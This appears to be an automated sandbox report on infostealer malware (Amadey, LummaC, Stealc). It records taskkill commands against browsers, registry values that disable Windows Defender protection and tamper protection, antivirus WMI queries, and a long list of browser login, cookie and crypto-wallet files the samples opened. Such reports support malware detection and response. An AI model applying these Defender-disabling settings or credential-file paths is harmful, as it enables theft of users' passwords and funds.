Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

10_2_00F90B62

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F91663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00F91663

Source: bebc60ce74.exe, 0000000A.00000000.2728305400.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 0db0ccc3ed.exe, 0000000D.00000002.3305281593.0000000006725000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: SProgram Manager
Source: skotes.exe, skotes.exe, 00000002.00000002.1765672423.0000000000C7D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: bebc60ce74.exe	Binary or memory string: Shell_TrayWnd
Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 00000008.00000002.2633510988.00000000007ED000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 0Z5QProgram Manager
Source: e01d8601b1.exe, e01d8601b1.exe, 00000009.00000002.3141538548.0000000000D82000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: CProgram Manager
Source: 0db0ccc3ed.exe, 00000008.00000002.2633510988.00000000007ED000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: o0Z5QProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F50698 cpuid

10_2_00F50698

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00FA8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

10_2_00FA8195

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F8D27A GetUserNameW,

10_2_00F8D27A

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F6BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_00F6BB6F

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Code function: 10_2_00F342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00F342DE

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: 0db0ccc3ed.exe, 0000000D.00000003.2976900490.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977747106.00000000016DD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1765529508.0000000000A91000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1695658639.0000000004950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1763961522.0000000000A91000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1723218150.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2286425843.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1725224135.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1736452740.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: bebc60ce74.exe PID: 7268, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0db0ccc3ed.exe PID: 5572, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000034.00000002.3376968431.000000000170B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2844281590.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3262564734.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.3370665034.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000003.3182952645.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2666570442.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3253024678.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3139427650.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e01d8601b1.exe PID: 3736, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 0db0ccc3ed.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 0db0ccc3ed.exe	String found in binary or memory: Wallets/ElectronCash
Source: e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: Jaxx Liberty
Source: 0db0ccc3ed.exe	String found in binary or memory: window-state.json
Source: 0db0ccc3ed.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0db0ccc3ed.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0db0ccc3ed.exe	String found in binary or memory: %appdata%\Ethereum
Source: 0db0ccc3ed.exe, 0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 0db0ccc3ed.exe, 0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
